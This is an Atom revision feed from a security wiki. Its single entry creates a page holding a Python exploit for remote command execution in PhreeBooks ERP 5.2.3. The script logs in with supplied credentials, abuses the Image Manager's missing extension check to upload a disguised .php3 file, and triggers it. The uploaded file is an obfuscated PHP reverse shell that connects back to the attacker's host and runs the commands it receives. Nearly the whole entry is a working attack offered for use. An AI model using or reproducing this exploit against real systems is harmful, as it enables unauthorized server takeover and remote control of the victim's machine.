<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=PhreeBooks_ERP_5.2.3_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>PhreeBooks ERP 5.2.3 遠程命令執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=PhreeBooks_ERP_5.2.3_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=PhreeBooks_ERP_5.2.3_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-17T03:25:37Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=PhreeBooks_ERP_5.2.3_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=2022&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: PhreeBooks ERP 5.2.3 - Remote Command Execution # Date: 2010-04-03 # Exploit Author: Metin Yunus Kandemir (kandemir) # Vendor Homepage: https://...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=PhreeBooks_ERP_5.2.3_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=2022&amp;oldid=prev"/>
		<updated>2021-05-02T04:42:52Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: PhreeBooks ERP 5.2.3 - Remote Command Execution # Date: 2010-04-03 # Exploit Author: Metin Yunus Kandemir (kandemir) # Vendor Homepage: https://...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: PhreeBooks ERP 5.2.3 - Remote Command Execution&lt;br /&gt;
# Date: 2010-04-03&lt;br /&gt;
# Exploit Author: Metin Yunus Kandemir (kandemir)&lt;br /&gt;
# Vendor Homepage: https://www.phreesoft.com/&lt;br /&gt;
# Software Link: https://sourceforge.net/projects/phreebooks/&lt;br /&gt;
# Version: v5.2.3&lt;br /&gt;
# Category: Webapps&lt;br /&gt;
# Tested on: XAMPP for Linux 5.6.38-0&lt;br /&gt;
# Software Description : PhreeBooks 5 is a completely new web based ERP / Accounting &lt;br /&gt;
# application that utilizes the redesigned Bizuno ERP library from PhreeSoft&lt;br /&gt;
# ==================================================================&lt;br /&gt;
# PoC: There are no file extension controls on Image Manager.&lt;br /&gt;
# If an authorized user is obtained, it is possible to run a malicious PHP file on the server.&lt;br /&gt;
# The following basic python exploit uploads and executes PHP File for you.&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
import sys&lt;br /&gt;
import urllib, re, random&lt;br /&gt;
&lt;br /&gt;
if (len(sys.argv) != 2):&lt;br /&gt;
    print &amp;quot;[*] Usage: poc.py &amp;lt;RHOST&amp;gt;&amp;lt;RPATH&amp;gt; (192.168.1.10/test123)&amp;quot;&lt;br /&gt;
    exit(0)&lt;br /&gt;
&lt;br /&gt;
rhost = sys.argv[1]&lt;br /&gt;
&lt;br /&gt;
# Information Inputs&lt;br /&gt;
&lt;br /&gt;
UserName = str(raw_input(&amp;quot;User Mail: &amp;quot;))&lt;br /&gt;
Password = str(raw_input(&amp;quot;Password: &amp;quot;))&lt;br /&gt;
Aip = str(raw_input(&amp;quot;Atacker IP: &amp;quot;))&lt;br /&gt;
APort = str(raw_input(&amp;quot;Atacker Port: &amp;quot;))&lt;br /&gt;
&lt;br /&gt;
Ready = str(raw_input(&amp;quot;Do you listen to port &amp;quot;+APort+&amp;quot; through the IP address you attacked? Y/N &amp;quot;))&lt;br /&gt;
if Ready != &amp;quot;Y&amp;quot;:&lt;br /&gt;
  print &amp;quot;You should listen your port with NetCat or other handlers!&amp;quot;&lt;br /&gt;
  sys.exit()&lt;br /&gt;
&lt;br /&gt;
# Login&lt;br /&gt;
boundary = &amp;quot;1663866149167960781387708339&amp;quot;&lt;br /&gt;
url = &amp;quot;http://&amp;quot;+rhost+&amp;quot;/index.php?&amp;amp;p=bizuno/portal/login&amp;quot;&lt;br /&gt;
&lt;br /&gt;
headers = {&amp;quot;Accept&amp;quot;: &amp;quot;application/json, text/javascript, */*; q=0.01&amp;quot;, &amp;quot;Accept-Language&amp;quot;: &amp;quot;en-US,en;q=0.5&amp;quot;, &amp;quot;Accept-Encoding&amp;quot;: &amp;quot;gzip, deflate&amp;quot;, &amp;quot;X-Requested-With&amp;quot;: &amp;quot;XMLHttpRequest&amp;quot;, &amp;quot;Referer&amp;quot;: &amp;quot;http://&amp;quot;+rhost+&amp;quot;/index.php?&amp;quot;, &amp;quot;Content-Type&amp;quot;: &amp;quot;multipart/form-data; boundary=---------------------------&amp;quot;+boundary+&amp;quot;&amp;quot;, &amp;quot;Connection&amp;quot;: &amp;quot;close&amp;quot;}&lt;br /&gt;
&lt;br /&gt;
ldata=&amp;quot;-----------------------------&amp;quot;+boundary+&amp;quot;\r\nContent-Disposition: form-data; name=\&amp;quot;UserID\&amp;quot;\r\n\r\n&amp;quot;+UserName+&amp;quot;\r\n-----------------------------&amp;quot;+boundary+&amp;quot;\r\nContent-Disposition: form-data; name=\&amp;quot;UserPW\&amp;quot;\r\n\r\n&amp;quot;+Password+&amp;quot;\r\n-----------------------------&amp;quot;+boundary+&amp;quot;\r\nContent-Disposition: form-data; name=\&amp;quot;UserLang\&amp;quot;\r\n\r\nen_US\r\n-----------------------------&amp;quot;+boundary+&amp;quot;--\r\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
r = requests.post(url, headers=headers, data=ldata)&lt;br /&gt;
&lt;br /&gt;
cookies = r.headers['Set-Cookie']&lt;br /&gt;
cookie = re.split(r'\s', cookies)[6].replace(';','').replace('bizunoSession=','').strip()&lt;br /&gt;
Ucookie = re.split(r'\s', cookies)[13].replace(';','').replace('bizunoUser=','').strip()&lt;br /&gt;
&lt;br /&gt;
# Upload&lt;br /&gt;
&lt;br /&gt;
fname = ''.join(random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(10)) + &amp;quot;.php3&amp;quot;&lt;br /&gt;
exec_url = &amp;quot;http://&amp;quot;+rhost+&amp;quot;/index.php?&amp;amp;p=bizuno/image/manager&amp;amp;imgTarget=&amp;amp;imgMgrPath=&amp;amp;imgSearch=&amp;amp;imgAction=upload&amp;quot;&lt;br /&gt;
&lt;br /&gt;
exec_cookies = {&amp;quot;bizunoLang&amp;quot;: &amp;quot;en_US&amp;quot;, &amp;quot;bizunoUser&amp;quot;: &amp;quot;&amp;quot;+Ucookie+&amp;quot;&amp;quot;, &amp;quot;bizunoSession&amp;quot;: &amp;quot;&amp;quot;+cookie+&amp;quot;&amp;quot;}&lt;br /&gt;
&lt;br /&gt;
exec_headers = {&amp;quot;Accept&amp;quot;: &amp;quot;application/json, text/javascript, */*; q=0.01&amp;quot;, &amp;quot;Accept-Language&amp;quot;: &amp;quot;en-US,en;q=0.5&amp;quot;, &amp;quot;Accept-Encoding&amp;quot;: &amp;quot;gzip, deflate&amp;quot;, &amp;quot;X-Requested-With&amp;quot;: &amp;quot;XMLHttpRequest&amp;quot;, &amp;quot;Referer&amp;quot;: &amp;quot;http://&amp;quot;+rhost+&amp;quot;/index.php?&amp;quot;, &amp;quot;Content-Type&amp;quot;: &amp;quot;multipart/form-data; boundary=---------------------------&amp;quot;+boundary+&amp;quot;&amp;quot;, &amp;quot;Connection&amp;quot;: &amp;quot;close&amp;quot;}&lt;br /&gt;
&lt;br /&gt;
exec_data=&amp;quot;-----------------------------&amp;quot;+boundary+&amp;quot;\r\nContent-Disposition: form-data; name=\&amp;quot;imgSearch\&amp;quot;\r\n\r\n\r\n-----------------------------&amp;quot;+boundary+&amp;quot;\r\nContent-Disposition: form-data; name=\&amp;quot;imgFile\&amp;quot;; filename=\&amp;quot;&amp;quot;+fname+&amp;quot;\&amp;quot;\r\nContent-Type: binary/octet-stream\r\n\r\n&amp;lt;?php\n      $ipaddr='&amp;quot;+Aip+&amp;quot;';\n      $port=&amp;quot;+APort+&amp;quot;;\n      @error_reporting(0);\n      @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);\n      $dis=@ini_get('disable_functions');\n      if(!empty($dis)){\n        $dis=preg_replace('/[, ]+/', ',', $dis);\n        $dis=explode(',', $dis);\n        $dis=array_map('trim', $dis);\n      }else{\n        $dis=array();\n      }\n      \n\n    if(!function_exists('gsMRl')){\n      function gsMRl($c){\n        global $dis;\n        \n      if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {\n        $c=$c.\&amp;quot; 2&amp;gt;&amp;amp;1\\n\&amp;quot;;\n      }\n      $oKFwG='is_callable';\n      $iodQxhE='in_array';\n      \n      if($oKFwG('proc_open')and!$iodQxhE('proc_open',$dis)){\n        $handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes);\n        $o=NULL;\n        while(!feof($pipes[1])){\n          $o.=fread($pipes[1],1024);\n        }\n        @proc_close($handle);\n      }else\n      if($oKFwG('popen')and!$iodQxhE('popen',$dis)){\n        $fp=popen($c,'r');\n        $o=NULL;\n        if(is_resource($fp)){\n          while(!feof($fp)){\n            $o.=fread($fp,1024);\n          }\n        }\n        @pclose($fp);\n      }else\n      if($oKFwG('exec')and!$iodQxhE('exec',$dis)){\n        $o=array();\n        exec($c,$o);\n        $o=join(chr(10),$o).chr(10);\n      }else\n      if($oKFwG('passthru')and!$iodQxhE('passthru',$dis)){\n        ob_start();\n        passthru($c);\n        $o=ob_get_contents();\n        ob_end_clean();\n      }else\n      if($oKFwG('shell_exec')and!$iodQxhE('shell_exec',$dis)){\n        $o=shell_exec($c);\n      }else\n      if($oKFwG('system')and!$iodQxhE('system',$dis)){\n        ob_start();\n        system($c);\n        $o=ob_get_contents();\n        ob_end_clean();\n      }else\n      {\n        $o=0;\n      }\n    \n        return $o;\n      }\n    }\n    $nofuncs='no exec functions';\n    if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){\n      $s=@fsockopen(\&amp;quot;tcp://192.168.1.11\&amp;quot;,$port);\n      while($c=fread($s,2048)){\n        $out = '';\n        if(substr($c,0,3) == 'cd '){\n          chdir(substr($c,3,-1));\n        } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {\n          break;\n        }else{\n          $out=gsMRl(substr($c,0,-1));\n          if($out===false){\n            fwrite($s,$nofuncs);\n            break;\n          }\n        }\n        fwrite($s,$out);\n      }\n      fclose($s);\n    }else{\n      $s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);\n      @socket_connect($s,$ipaddr,$port);\n      @socket_write($s,\&amp;quot;socket_create\&amp;quot;);\n      while($c=@socket_read($s,2048)){\n        $out = '';\n        if(substr($c,0,3) == 'cd '){\n          chdir(substr($c,3,-1));\n        } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {\n          break;\n        }else{\n          $out=gsMRl(substr($c,0,-1));\n          if($out===false){\n            @socket_write($s,$nofuncs);\n            break;\n          }\n        }\n        @socket_write($s,$out,strlen($out));\n      }\n      @socket_close($s);\n    }\n?&amp;gt;\n\r\n-----------------------------&amp;quot;+boundary+&amp;quot;--\r\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
requests.post(exec_url, headers=exec_headers, cookies=exec_cookies, data=exec_data)&lt;br /&gt;
&lt;br /&gt;
# Exec&lt;br /&gt;
&lt;br /&gt;
requests.get(&amp;quot;http://&amp;quot;+rhost+&amp;quot;/myFiles/images/&amp;quot;+fname+&amp;quot;&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>